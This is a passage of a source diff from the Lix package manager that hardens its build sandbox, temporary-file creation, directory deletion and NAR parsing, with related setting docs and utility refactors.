// external influence (in which case the sandboxed child will probably fail
// due to network errors, if it used the network at all) or some bug in lix
if (auto status = pastaPid.kill(); !WIFSIGNALED(status) || WTERMSIG(status) != SIGKILL) {
if (WIFSIGNALED(status)) {
throw Error("pasta killed by signal %i", WTERMSIG(status));
} else if (WIFEXITED(status)) {
throw Error("pasta exited with code %i", WEXITSTATUS(status));
} else {
throw Error("pasta exited with status %i", status);
}
}
}
}
}
+18
View File
@@ -4,6 +4,7 @@
#include "lix/libstore/build/local-derivation-goal.hh"
#include "lix/libstore/gc-store.hh"
#include "lix/libstore/local-store.hh"
#include "lix/libutil/processes.hh"
namespace nix {
@@ -33,7 +34,23 @@ class LinuxLocalDerivationGoal : public LocalDerivationGoal
public:
using LocalDerivationGoal::LocalDerivationGoal;
~LinuxLocalDerivationGoal();
// NOTE these are all C strings because macos doesn't have constexpr std::string
// constructors, and std::string_view is a pain to turn into std::strings again.
static constexpr const char * PASTA_NS_IFNAME = "eth0";
static constexpr const char * PASTA_HOST_IPV4 = "169.254.1.1";
static constexpr const char * PASTA_CHILD_IPV4 = "169.254.1.2";
static constexpr const char * PASTA_IPV4_NETMASK = "16";
// randomly chosen 6to4 prefix, mapping the same ipv4ll as above.
// even if this id is used on the daemon host there should not be
// any collisions since ipv4ll should never be addressed by ipv6.
static constexpr const char * PASTA_HOST_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0101";
static constexpr const char * PASTA_CHILD_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0102";
private:
RunningProgram pastaPid;
/**
* Create and populate chroot
*/
@@ -62,6 +79,7 @@ private:
return true;
}
std::string rewriteResolvConf(std::string fromHost) override;
};
}
+1
View File
@@ -147,6 +147,7 @@ void RemoteStore::setOptions(Connection & conn)
overrides.erase(experimentalFeatureSettings.experimentalFeatures.name);
overrides.erase(settings.pluginFiles.name);
overrides.erase(settings.storeUri.name); // the daemon *is* the store
overrides.erase(settings.tarballTtl.name); // eval-time only, implictly set by flake cli
conn.to << overrides.size();
for (auto & i : overrides)
conn.to << i.first << i.second.value;
+14 -4
View File
@@ -1,14 +1,24 @@
---
name: build-dir
internalName: buildDir
settingType: PathsSetting<std::optional<Path>>
default: null
settingType: PathsSetting<Path>
defaultText: "`«nixStateDir»/b`"
defaultExpr: nixStateDir + "/b"
---
The directory on the host, in which derivations' temporary build directories are created.
If not set, Nix will use the [`temp-dir`](#conf-temp-dir) setting if set, otherwise the system temporary directory indicated by the `TMPDIR` environment variable.
Note that builds are often performed by the Nix daemon, so its `TMPDIR` is used, and not that of the Nix command line interface.
If not set, Lix will use the `b` subdirectory of its configured state directory.
Lix will create this directory automatically with suitable permissions if it does not
exist, otherwise its permissions must allow all users to traverse the directory (i.e.
it must have `o+x` set, in unix parlance) for non-sandboxed builds to work correctly.
This is also the location where [`--keep-failed`](@docroot@/command-ref/opt-common.md#opt-keep-failed) leaves its files.
If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir).
> Important:
>
> `build-dir` must not be set to a world-writable directory. Placing temporary build
> directories in a world-writable place allows other users to access or modify build
> data that is currently in use. This alone is merely an impurity, but combined with
> another factor this has allowed malicious derivations to escape the build sandbox.
+10
View File
@@ -0,0 +1,10 @@
---
name: pasta-path
internalName: pastaPath
type: Path
default: ""
---
If set to an absolute path, enables fully sandboxing fixed-output
derivations, by using `pasta` to pass network traffic between the
private network namespace. This allows for greater levels of isolation
of builds to the host.
+6 -1
View File
@@ -179,8 +179,13 @@ SQLiteStmt::Use::~Use()
SQLiteStmt::Use & SQLiteStmt::Use::operator () (std::string_view value, bool notNull)
{
if (notNull) {
if (sqlite3_bind_text(stmt.stmt.get(), curArg++, value.data(), -1, SQLITE_TRANSIENT) != SQLITE_OK)
if (sqlite3_bind_text(
stmt.stmt.get(), curArg++, value.data(), value.length(), SQLITE_TRANSIENT
)
!= SQLITE_OK)
{
SQLiteError::throw_(stmt.db, "binding argument");
}
} else
bind();
return *this;
+5 -35
View File
@@ -5,6 +5,7 @@
#include "lix/libutil/logging.hh"
#include "lix/libutil/strings.hh"
#include "lix/libstore/temporary-dir.hh"
#include <unistd.h>
namespace nix {
@@ -21,7 +22,7 @@ SSH::SSH(const std::string & host, const std::optional<uint16_t> port, const std
throw Error("invalid SSH host name '%s'", host);
auto state(state_.lock());
state->tmpDir = std::make_unique<AutoDelete>(createTempDir("", "nix", true, true, 0700));
state->tmpDir = std::make_unique<AutoDelete>(createTempDir("nix", 0700));
}
void SSH::addCommonSSHOpts(Strings & args)
@@ -80,10 +81,11 @@ std::unique_ptr<SSH::Connection> SSH::startCommand(const std::string & command)
// reasonably POSIX-y semantics for the things we're about
// to do next.
if (fakeSSH) {
args = { "bash" };
args = { "bash", "-c", command };
} else {
args = { "ssh", host.c_str(), "-x", "-T", "-oRemoteCommand=bash" };
args = { "ssh", host.c_str(), "-x", "-T" };
addCommonSSHOpts(args);
args.push_back(command);
}
execvp(args.begin()->c_str(), stringsToCharPtrs(args).data());
@@ -96,38 +98,6 @@ std::unique_ptr<SSH::Connection> SSH::startCommand(const std::string & command)
in.readSide.reset();
out.writeSide.reset();
// Once we hand off to nix-store (on the remote) and the caller (on the client),
// we lose the ability to catch SSH failing, due to Historical Architectural Decisions.
//
// We want to catch at least _some_ errors and alert the user in case of
// an obvious misconfiguration, so run a very simple command first
// to make sure things are at least somewhat operational.
//
// The exact semantics of
// - not having a shell prompt get in the way when non-interactive
// - echo doing the reasonable thing
// Are exactly why we specifically forced bash (via ssh RemoteCommand) earlier.
// We do *not* use /bin/sh because that may be busybox and busybox breaks here.
//
// FIXME: make any of this shit make sense
{
writeLine(in.writeSide.get(), "echo started");
std::string reply;
try {
reply = readLine(out.readSide.get());
} catch (EndOfFile & e) { }
if (reply != "started") {
warn("SSH to '%s' failed, stdout first line: '%s'", host, reply);
throw Error("failed to start SSH connection to '%s'", host);
}
}
// Now that we're reasonably confident we have something vaguely resembling
// a connection, hand off to the command.
writeLine(in.writeSide.get(), fmt("exec %s", command));
conn->out = std::move(out.readSide);
conn->in = std::move(in.writeSide);
+16
View File
@@ -234,6 +234,22 @@ protected:
Store(const StoreConfig & config);
public:
struct AssociatedCredentials
{
uid_t user;
gid_t group;
};
/**
* Credentials of the context using this store if this store is proxied
* to somewhere else and the peer context is known. Only the daemon can
* set this to values that make any sense, using unix peer credentials.
*/
virtual std::optional<AssociatedCredentials> associatedCredentials() const
{
return {};
}
/**
* Perform any necessary effectful operation to make the store up and
* running
+2 -3
View File
@@ -5,10 +5,9 @@
namespace nix {
Path createTempDir(const Path & tmpRoot, const Path & prefix,
bool includePid, bool useGlobalCounter, mode_t mode)
Path createTempDir(const std::optional<Path> & prefix, mode_t mode)
{
return createTempSubdir(tmpRoot.empty() ? defaultTempDir() : tmpRoot, prefix, includePid, useGlobalCounter, mode);
return createTempSubdir(defaultTempDir(), prefix, mode);
}
std::pair<AutoCloseFD, Path> createTempFile(const Path & prefix)
+1 -2
View File
@@ -8,8 +8,7 @@ namespace nix {
/**
* Create a temporary directory.
*/
Path createTempDir(const Path & tmpRoot = "", const Path & prefix = "nix",
bool includePid = true, bool useGlobalCounter = true, mode_t mode = 0755);
Path createTempDir(const std::optional<Path> & prefix = "nix", mode_t mode = 0755);
/**
* Create a temporary file, returning a file handle and its path.
+16 -10
View File
@@ -367,16 +367,22 @@ struct Parser
buffer.clear(); \
u; \
})
#define READ_STRING_LIMITED(limit) \
({ \
size_t len = FETCH_INT(size_t); \
co_yield WantBytes{len + (8 - len % 8) % 8}; \
StringSource src(std::string_view(buffer.data(), buffer.size())); \
auto str = readString(src, (limit)); \
buffer.clear(); \
std::move(str); \
#define READ_STRING_LIMITED(limit) \
({ \
size_t len = FETCH_INT(size_t); \
if (len > (limit)) { \
throw SerialisationError( \
"found malformed string tag. input may be a compressed NAR, which cannot be read " \
"directly" \
); \
} \
co_yield WantBytes{len + (8 - len % 8) % 8}; \
StringSource src(std::string_view(buffer.data(), buffer.size())); \
auto str = readString(src, (limit)); \
buffer.clear(); \
std::move(str); \
})
#define READ_STRING() READ_STRING_LIMITED(std::numeric_limits<size_t>::max())
#define READ_STRING() READ_STRING_LIMITED(1048576)
#define READ_PADDING(size) \
do { \
if ((size) % 8) { \
@@ -632,7 +638,7 @@ struct AsyncCopier : AsyncInputStream
co_yield Fragment{want->n, false};
} else if (auto f = std::get_if<Parser::FileHeader>(&*i)) {
co_yield Fragment{f->size, true};
} else if (auto sl = std::get_if<Parser::Symlink>(&*i)) {
} else if (auto _ = std::get_if<Parser::Symlink>(&*i)) {
// nothing to do
} else if (auto dir = std::get_if<Parser::Directory>(&*i)) {
while (auto e = dir->content.next()) {
+1
View File
@@ -259,6 +259,7 @@ struct BrotliCompressionSink : ChunkedCompressionSink
void writeInternal(std::string_view data) override
{
// NOLINTNEXTLINE(bugprone-suspicious-stringview-data-usage)
auto next_in = charptr_cast<const uint8_t *>(data.data());
size_t avail_in = data.size();
uint8_t * next_out = outbuf;
+23 -2
View File
@@ -10,6 +10,7 @@
#include "lix/libutil/strings.hh"
#include "lix/libutil/config-impl.hh"
#include <mutex>
namespace nix {
@@ -343,11 +344,31 @@ template<> std::string BaseSetting<StringSet>::to_string() const
template<> ExperimentalFeatures BaseSetting<ExperimentalFeatures>::parse(const std::string & str, const ApplyConfigOptions & options) const
{
auto warnDeprecated294 = [](std::once_flag & flag, std::string_view thing) {
std::call_once(flag, [&] {
warn(
"The %s experimental feature is deprecated and will be removed in Lix 2.94. "
"See https://git.lix.systems/lix-project/lix/issues/815 for more details.",
thing
);
});
};
ExperimentalFeatures res{};
for (auto & s : tokenizeString<StringSet>(str)) {
if (auto thisXpFeature = parseExperimentalFeature(s); thisXpFeature)
if (auto thisXpFeature = parseExperimentalFeature(s); thisXpFeature) {
if (*thisXpFeature == Xp::CaDerivations) {
static std::once_flag warned;
warnDeprecated294(warned, s);
} else if (*thisXpFeature == Xp::DynamicDerivations) {
static std::once_flag warned;
warnDeprecated294(warned, s);
} else if (*thisXpFeature == Xp::ImpureDerivations) {
static std::once_flag warned;
warnDeprecated294(warned, s);
}
res = res | thisXpFeature.value();
else
} else
warn("unknown experimental feature '%s'", s);
}
return res;
+23
View File
@@ -155,6 +155,29 @@ int AutoCloseFD::get() const
return fd;
}
std::string guessOrInventPathFromFD(int fd)
{
assert(fd >= 0);
/* On Linux, there's no F_GETPATH available.
* But we can read /proc/ */
#if __linux__
try {
return readLink(fmt("/proc/self/fd/%1%", fd).c_str());
} catch (...) {
}
#elif defined (HAVE_F_GETPATH) && HAVE_F_GETPATH
std::string fdName(PATH_MAX, '\0');
if (fcntl(fd, F_GETPATH, fdName.data()) != -1) {
fdName.resize(strlen(fdName.c_str()));
return fdName;
}
#else
#error "No implementation for retrieving file descriptors path."
#endif
return fmt("<fd %i>", fd);
}
void AutoCloseFD::close()
{
+18
View File
@@ -36,6 +36,15 @@ void writeFull(int fd, std::string_view s, bool allowInterrupts = true);
*/
std::string drainFD(int fd, bool block = true, const size_t reserveSize=0);
/*
* Will attempt to guess *A* path associated that might lead to the same file as used by this
* file descriptor.
*
* The returned string should NEVER be used as a valid path.
*/
std::string guessOrInventPathFromFD(int fd);
Generator<Bytes> drainFDSource(int fd, bool block = true);
class AutoCloseFD
@@ -50,6 +59,15 @@ public:
AutoCloseFD& operator =(const AutoCloseFD & fd) = delete;
AutoCloseFD& operator =(AutoCloseFD&& fd) noexcept(false);
int get() const;
/*
* Will attempt to guess *A* path associated that might lead to the same file as used by this
* file descriptor.
*
* The returned string should NEVER be used as a valid path.
*/
std::string guessOrInventPath() const { return guessOrInventPathFromFD(fd); }
explicit operator bool() const;
int release();
void close();
+138 -87
View File
@@ -3,6 +3,8 @@
#include <filesystem>
#include <atomic>
#include <random>
#include <ranges>
#include <sys/xattr.h>
#include "lix/libutil/environment-variables.hh"
#include "lix/libutil/file-descriptor.hh"
@@ -359,26 +361,6 @@ Generator<Bytes> readFileSource(const Path & path)
}
void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
{
AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)};
if (!fd)
throw SysError("opening file '%1%'", path);
try {
writeFull(fd.get(), s);
} catch (Error & e) {
e.addTrace({}, "writing file '%1%'", path);
throw;
}
if (sync)
fd.fsync();
// Explicitly close to make sure exceptions are propagated.
fd.close();
if (sync)
syncParent(path);
}
static AutoCloseFD openForWrite(const Path & path, mode_t mode)
{
AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)};
@@ -387,6 +369,59 @@ static AutoCloseFD openForWrite(const Path & path, mode_t mode)
return fd;
}
static AutoCloseFD openForWriteExcl(const Path & path, mode_t mode)
{
AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL, mode)};
if (!fd)
throw SysError("opening file '%1%'", path);
return fd;
}
void writeFile(const Path & path, std::string_view s, mode_t mode, bool allowInterrupts)
{
AutoCloseFD fd = openForWrite(path, mode);
writeFile(fd, s, mode);
/* Close explicitly to propagate the exceptions. */
fd.close();
}
void writeFileExcl(const Path & path, std::string_view s, mode_t mode, bool allowInterrupts)
{
AutoCloseFD fd = openForWriteExcl(path, mode);
writeFile(fd, s, mode, allowInterrupts);
// Close explicitly to propagate the exceptions.
fd.close();
}
void writeFile(AutoCloseFD & fd, std::string_view s, mode_t mode, bool allowInterrupts)
{
assert(fd);
try {
writeFull(fd.get(), s);
} catch (Error & e) {
e.addTrace({}, "writing file '%1%'", fd.guessOrInventPath());
throw;
}
}
void writeFileAndSync(const Path & path, std::string_view s, mode_t mode)
{
{
AutoCloseFD fd = openForWrite(path, mode);
writeFile(fd, s, mode);
fd.fsync();
/* Close explicitly to ensure that exceptions are propagated. */
fd.close();
}
syncParent(path);
}
static void closeForWrite(const Path & path, AutoCloseFD & fd, bool sync)
{
if (sync)
@@ -397,7 +432,7 @@ static void closeForWrite(const Path & path, AutoCloseFD & fd, bool sync)
syncParent(path);
}
void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
void writeFile(const Path & path, Source & source, mode_t mode)
{
AutoCloseFD fd = openForWrite(path, mode);
@@ -414,11 +449,30 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
e.addTrace({}, "writing file '%1%'", path);
throw;
}
closeForWrite(path, fd, sync);
closeForWrite(path, fd, false);
}
kj::Promise<Result<void>>
writeFile(const Path & path, AsyncInputStream & source, mode_t mode, bool sync)
void writeFileExcl(const Path & path, Source & source, mode_t mode)
{
AutoCloseFD fd = openForWriteExcl(path, mode);
std::vector<char> buf(64 * 1024);
try {
while (true) {
try {
auto n = source.read(buf.data(), buf.size());
writeFull(fd.get(), {buf.data(), n});
} catch (EndOfFile &) { break; }
}
} catch (Error & e) {
e.addTrace({}, "writing file '%1%'", path);
throw;
}
closeForWrite(path, fd, false);
}
kj::Promise<Result<void>> writeFile(const Path & path, AsyncInputStream & source, mode_t mode)
try {
AutoCloseFD fd = openForWrite(path, mode);
@@ -436,7 +490,7 @@ try {
e.addTrace({}, "writing file '%1%'", path);
throw;
}
closeForWrite(path, fd, sync);
closeForWrite(path, fd, false);
co_return result::success();
} catch (...) {
co_return result::current_exception();
@@ -450,18 +504,29 @@ void syncParent(const Path & path)
fd.fsync();
}
static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed, bool interruptible)
/* TODO(horrors): a better structure that links all parent fds for the traversal root
* should be considered for this code
*/
static void _deletePath(int parentfd, const std::string & name, uint64_t & bytesFreed, bool interruptible)
{
/* This ensures that `name` is an immediate child of `parentfd`. */
assert(!name.empty() && name.find('/') == std::string::npos && "`name` is an immediate child to `parentfd`");
if (interruptible) {
checkInterrupt();
}
std::string name(baseNameOf(path));
/* FIXME(horrors): there's a minor TOCTOU here.
* we fstatat the inode nofollow, check if this is a directory
* and then open it.
* a better alternative is open it as O_PATH as a namefd.
* if it's a directory, it can be openat with the namefd.
*/
struct stat st;
if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) {
if (errno == ENOENT) return;
throw SysError("getting status of '%1%'", path);
throw SysError("getting status of '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
}
if (!S_ISDIR(st.st_mode)) {
@@ -492,24 +557,25 @@ static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed,
/* Make the directory accessible. */
const auto PERM_MASK = S_IRUSR | S_IWUSR | S_IXUSR;
if ((st.st_mode & PERM_MASK) != PERM_MASK) {
if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1)
throw SysError("chmod '%1%'", path);
if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) {
throw SysError("chmod '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
}
}
int fd = openat(parentfd, path.c_str(), O_RDONLY);
int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
if (fd == -1)
throw SysError("opening directory '%1%'", path);
throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
AutoCloseDir dir(fdopendir(fd));
if (!dir)
throw SysError("opening directory '%1%'", path);
for (auto & i : readDirectory(dir.get(), path, interruptible))
_deletePath(dirfd(dir.get()), path + "/" + i.name, bytesFreed, interruptible);
throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
for (auto & i : readDirectory(dir.get(), name, interruptible))
_deletePath(dirfd(dir.get()), i.name, bytesFreed, interruptible);
}
int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0;
if (unlinkat(parentfd, name.c_str(), flags) == -1) {
if (errno == ENOENT) return;
throw SysError("cannot unlink '%1%'", path);
throw SysError("cannot unlink '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
}
}
@@ -525,7 +591,7 @@ static void _deletePath(const Path & path, uint64_t & bytesFreed, bool interrupt
throw SysError("opening directory '%1%'", path);
}
_deletePath(dirfd.get(), path, bytesFreed, interruptible);
_deletePath(dirfd.get(), std::string(baseNameOf(path)), bytesFreed, interruptible);
}
@@ -611,51 +677,47 @@ void AutoDelete::reset(const Path & p, bool recursive) {
//////////////////////////////////////////////////////////////////////
static Path tempName(PathView parent, const Path & prefix, bool includePid,
std::atomic<unsigned int> & counter)
Path createTempSubdir(const Path & parent, const std::optional<Path> & prefix,
mode_t mode)
{
auto tmpRoot = canonPath(parent, true);
if (includePid)
return fmt("%1%/%2%-%3%-%4%", tmpRoot, prefix, getpid(), counter++);
else
return fmt("%1%/%2%-%3%", tmpRoot, prefix, counter++);
checkInterrupt();
Path tmpDir = makeTempPath(canonPath(parent, true) + "/", prefix);
if (mkdir(tmpDir.c_str(), mode) == 0) {
#if __FreeBSD__
/* Explicitly set the group of the directory. This is to
work around around problems caused by BSD's group
ownership semantics (directories inherit the group of
the parent). For instance, the group of /tmp on
FreeBSD is "wheel", so all directories created in /tmp
will be owned by "wheel"; but if the user is not in
"wheel", then "tar" will fail to unpack archives that
have the setgid bit set on directories. */
if (chown(tmpDir.c_str(), (uid_t) -1, getegid()) != 0) {
throw SysError("setting group of directory '%1%'", tmpDir);
}
#endif
return tmpDir;
}
throw SysError("creating directory '%1%'", tmpDir);
}
Path createTempSubdir(const Path & parent, const Path & prefix,
bool includePid, bool useGlobalCounter, mode_t mode)
Path makeTempPath(const Path & root, const std::optional<Path> & prefix)
{
static std::atomic<unsigned int> globalCounter = 0;
std::atomic<unsigned int> localCounter = 0;
auto & counter(useGlobalCounter ? globalCounter : localCounter);
static thread_local std::random_device generator{};
std::uniform_int_distribution<uint64_t> uniform_dist{};
const uint64_t entropy[2] = {uniform_dist(generator), uniform_dist(generator)};
auto unique = base32Encode(std::as_bytes(std::span(entropy)));
while (1) {
checkInterrupt();
Path tmpDir = tempName(parent, prefix, includePid, counter);
if (mkdir(tmpDir.c_str(), mode) == 0) {
#if __FreeBSD__
/* Explicitly set the group of the directory. This is to
work around around problems caused by BSD's group
ownership semantics (directories inherit the group of
the parent). For instance, the group of /tmp on
FreeBSD is "wheel", so all directories created in /tmp
will be owned by "wheel"; but if the user is not in
"wheel", then "tar" will fail to unpack archives that
have the setgid bit set on directories. */
if (chown(tmpDir.c_str(), (uid_t) -1, getegid()) != 0)
throw SysError("setting group of directory '%1%'", tmpDir);
#endif
return tmpDir;
}
if (errno != EEXIST)
throw SysError("creating directory '%1%'", tmpDir);
if (prefix) {
return fmt("%s%s-%s", root, *prefix, unique);
} else {
return root + unique;
}
}
Path makeTempPath(const Path & root, const Path & suffix)
Path makeTempSiblingPath(const Path & path)
{
// start the counter at a random value to minimize issues with preexisting temp paths
static std::atomic_uint_fast32_t counter(std::random_device{}());
return fmt("%1%%2%-%3%-%4%", root, suffix, getpid(), counter.fetch_add(1, std::memory_order_relaxed));
return makeTempPath(fs::path(path).remove_filename());
}
void createSymlink(const Path & target, const Path & link)
@@ -666,20 +728,9 @@ void createSymlink(const Path & target, const Path & link)
void replaceSymlink(const Path & target, const Path & link)
{
for (unsigned int n = 0; true; n++) {
Path tmp = canonPath(fmt("%s/.%d_%s", dirOf(link), n, baseNameOf(link)));
try {
createSymlink(target, tmp);
} catch (SysError & e) {
if (e.errNo == EEXIST) continue;
throw;
}
renameFile(tmp, link);
break;
}
Path tmp = canonPath(makeTempSiblingPath(link));
createSymlink(target, tmp);
renameFile(tmp, link);
}
void setWriteTime(const fs::path & p, const struct stat & st)
+28 -9
View File
@@ -189,11 +189,25 @@ Generator<Bytes> readFileSource(const Path & path);
/**
* Write a string to a file.
*/
void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false);
void writeFile(
const Path & path, std::string_view s, mode_t mode = 0666, bool allowInterrupts = true
);
/** Write a string to an exclusively-opened file. */
void writeFileExcl(
const Path & path, std::string_view s, mode_t mode = 0666, bool allowInterrupts = true
);
void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode = 0666);
void writeFile(const Path & path, Source & source, mode_t mode = 0666);
void writeFileExcl(const Path & path, Source & source, mode_t mode = 0666);
void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false);
void writeFile(AutoCloseFD & fd, std::string_view s, mode_t mode = 0666, bool allowInterrupts = true);
kj::Promise<Result<void>>
writeFile(const Path & path, AsyncInputStream & source, mode_t mode = 0666, bool sync = false);
writeFile(const Path & path, AsyncInputStream & source, mode_t mode = 0666);
/**
* Write a string to a file and flush the file and its parents direcotry to disk.
*/
void writeFileAndSync(const Path & path, std::string_view s, mode_t mode = 0666);
/**
* Flush a file's parent directory to disk
@@ -294,16 +308,21 @@ typedef std::unique_ptr<DIR, DIRDeleter> AutoCloseDir;
/**
* Create a temporary directory in a given parent directory.
*/
Path createTempSubdir(const Path & parent, const Path & prefix = "nix",
bool includePid = true, bool useGlobalCounter = true, mode_t mode = 0755);
Path createTempSubdir(const Path & parent, const std::optional<Path> & prefix = "nix",
mode_t mode = 0755);
/**
* Return temporary path constructed by appending a suffix to a root path.
* Return temporary path constructed by appending to a root path.
*
* The constructed path looks like `<root><suffix>-<pid>-<unique>`. To create a
* path nested in a directory, provide a suffix starting with `/`.
* The constructed path looks like `<root>[<prefix>-]<unique>`. To create a
* path nested in a directory, provide a root ending with `/`.
*/
Path makeTempPath(const Path & root, const Path & suffix = ".tmp");
Path makeTempPath(const Path & root, const std::optional<Path> & prefix = ".tmp");
/**
* Return temporary path in the same directory as a given path.
*/
Path makeTempSiblingPath(const Path & path);
/**
* Used in various places.
+3 -48
View File
@@ -80,33 +80,6 @@ static std::string printHash16(const Hash & hash)
}
// omitted: E O U T
const std::string base32Chars = "0123456789abcdfghijklmnpqrsvwxyz";
static std::string printHash32(const Hash & hash)
{
assert(hash.hashSize);
size_t len = hash.base32Len();
assert(len);
std::string s;
s.reserve(len);
for (int n = (int) len - 1; n >= 0; n--) {
unsigned int b = n * 5;
unsigned int i = b / 8;
unsigned int j = b % 8;
unsigned char c =
(hash.hash[i] >> j)
| (i >= hash.hashSize - 1 ? 0 : hash.hash[i + 1] << (8 - j));
s.push_back(base32Chars[c & 0x1f]);
}
return s;
}
std::string printHash16or32(const Hash & hash)
{
return hash.to_string(hash.type == HashType::MD5 ? Base::Base16 : Base::Base32, false);
@@ -125,7 +98,7 @@ std::string Hash::to_string(Base base, bool includeType) const
s += printHash16(*this);
break;
case Base::Base32:
s += printHash32(*this);
s += base32EncodeStr(std::string_view(charptr_cast<const char *>(hash), hashSize));
break;
case Base::Base64:
case Base::SRI:
@@ -225,26 +198,8 @@ Hash::Hash(std::string_view rest, HashType type, bool isSRI)
}
else if (!isSRI && rest.size() == base32Len()) {
for (unsigned int n = 0; n < rest.size(); ++n) {
char c = rest[rest.size() - n - 1];
size_t digit;
for (digit = 0; digit < base32Chars.size(); ++digit) /* !!! slow */
if (base32Chars[digit] == c) break;
if (digit >= 32)
throw BadHash("invalid base-32 hash '%s'", rest);
unsigned int b = n * 5;
unsigned int i = b / 8;
unsigned int j = b % 8;
hash[i] |= digit << j;
if (i < hashSize - 1) {
hash[i + 1] |= digit >> (8 - j);
} else {
if (digit >> (8 - j))
throw BadHash("invalid base-32 hash '%s'", rest);
}
}
auto d = base32Decode(rest);
memcpy(hash, d.data(), hashSize);
}
else if (isSRI || rest.size() == base64Len()) {
-2
View File
@@ -32,8 +32,6 @@ const int sha512HashSize = 64;
extern std::set<std::string> hashTypes;
extern const std::string base32Chars;
enum class Base : int { Base64, Base32, Base16, SRI };
+1 -1
View File
@@ -38,6 +38,6 @@ const JSON & ensureType(
JSON(expectedType).type_name(),
value.type_name());
return value;
return value; // NOLINT(bugprone-return-const-ref-from-parameter)
}
}
+6 -6
View File
@@ -282,12 +282,12 @@ extern Verbosity verbosity;
* level. Note that this has to be implemented as a macro to ensure that the
* arguments are evaluated lazily.
*/
#define printMsgUsing(loggerParam, level, args...) \
do { \
auto __lvl = level; \
if (__lvl <= nix::verbosity) { \
loggerParam->log(__lvl, fmt(args)); \
} \
#define printMsgUsing(loggerParam, level, args...) \
do { \
auto _lix_logger_print_lvl = level; \
if (_lix_logger_print_lvl <= nix::verbosity) { \
loggerParam->log(_lix_logger_print_lvl, fmt(args)); \
} \
} while (0)
#define printMsg(level, args...) printMsgUsing(logger, level, args)
+2
View File
@@ -306,6 +306,7 @@ libutil = library(
openssl,
nlohmann_json,
kj,
libatomic,
],
include_directories : [ '../..' ],
cpp_pch : cpp_pch,
@@ -343,6 +344,7 @@ liblixutil = declare_dependency(
# lix-base pkg-config externally)
kj,
libarchive,
libatomic,
],
link_with : libutil
)
+69 -5
View File
@@ -22,6 +22,7 @@
#endif
#ifdef __linux__
# include <linux/capability.h>
# include <sys/prctl.h>
# include <sys/mman.h>
#endif
@@ -249,7 +250,7 @@ std::pair<int, std::string> runProgram(RunOptions && options)
try {
auto proc = runProgram2(options);
Finally const _wait([&] { proc.wait(); });
Finally const _wait([&] { proc.waitAndCheck(); });
stdout = proc.getStdout()->drain();
} catch (ExecError & e) {
status = e.status;
@@ -277,7 +278,22 @@ RunningProgram::~RunningProgram()
}
}
void RunningProgram::wait()
std::tuple<pid_t, std::unique_ptr<Source>, int> RunningProgram::release()
{
return {pid.release(), std::move(stdoutSource), stdout_.release()};
}
int RunningProgram::kill()
{
return pid.kill();
}
int RunningProgram::wait()
{
return pid.wait();
}
void RunningProgram::waitAndCheck()
{
if (std::uncaught_exceptions() == 0) {
int status = pid.wait();
@@ -315,12 +331,21 @@ RunningProgram runProgram2(const RunOptions & options)
replaceEnv(*options.environment);
if (options.captureStdout && dup2(out.writeSide.get(), STDOUT_FILENO) == -1)
throw SysError("dupping stdout");
if (options.mergeStderrToStdout)
if (dup2(STDOUT_FILENO, STDERR_FILENO) == -1)
throw SysError("cannot dup stdout into stderr");
for (auto redirection : options.redirections) {
if (dup2(redirection.to, redirection.from) == -1) {
throw SysError("dupping fd %i to %i", redirection.from, redirection.to);
}
}
if (options.chdir && chdir((*options.chdir).c_str()) == -1)
throw SysError("chdir failed");
#if __linux__
if (!options.caps.empty() && prctl(PR_SET_KEEPCAPS, 1) < 0) {
throw SysError("setting keep-caps failed");
}
#endif
if (options.gid && setgid(*options.gid) == -1)
throw SysError("setgid failed");
/* Drop all other groups if we're setgid. */
@@ -329,6 +354,45 @@ RunningProgram runProgram2(const RunOptions & options)
if (options.uid && setuid(*options.uid) == -1)
throw SysError("setuid failed");
#if __linux__
if (!options.caps.empty()) {
if (prctl(PR_SET_KEEPCAPS, 0)) {
throw SysError("clearing keep-caps failed");
}
// we do the capability dance like this to avoid a dependency
// on libcap, which has a rather large build closure and many
// more features that we need for now. maybe some other time.
static constexpr uint32_t LINUX_CAPABILITY_VERSION_3 = 0x20080522;
static constexpr uint32_t LINUX_CAPABILITY_U32S_3 = 2;
struct user_cap_header_struct
{
uint32_t version;
int pid;
} hdr = {LINUX_CAPABILITY_VERSION_3, 0};
struct user_cap_data_struct
{
uint32_t effective;
uint32_t permitted;
uint32_t inheritable;
} data[LINUX_CAPABILITY_U32S_3] = {};
for (auto cap : options.caps) {
assert(cap / 32 < LINUX_CAPABILITY_U32S_3);
data[cap / 32].permitted |= 1 << (cap % 32);
data[cap / 32].inheritable |= 1 << (cap % 32);
}
if (syscall(SYS_capset, &hdr, data)) {
throw SysError("couldn't set capabilities");
}
for (auto cap : options.caps) {
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0) < 0) {
throw SysError("couldn't set ambient caps");
